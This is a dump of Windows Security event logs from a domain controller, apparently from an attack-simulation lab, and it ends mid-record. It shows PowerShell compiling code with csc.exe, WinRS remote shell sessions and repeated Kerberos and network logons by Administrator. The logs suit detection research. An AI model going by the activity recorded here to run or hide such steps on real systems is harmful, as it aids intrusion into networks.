"/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES19E1.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC84C2D1161D3341F792794E39AF165662.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257626 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x370 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4zv0ukcw.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257635 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3f4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES1EB3.tmp" "c:\Users\Administrator\AppData\Local\Temp\1skdkfif\CSC489718A98714C3680D614F09E3969B7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257634 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\1skdkfif\1skdkfif.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257660 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa18 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257659 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Process Information: - New Process ID: 0xa18 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257658 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257657 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257656 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257655 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257654 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257653 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257652 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533797 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257651 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257650 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52C346 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257649 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533797 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257648 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533797 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257647 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257646 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257645 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257644 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533775 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257643 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533775 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257642 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533775 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257641 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257640 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257639 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257638 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52F498 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257637 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52E8DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257636 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52CA71 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257673 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon 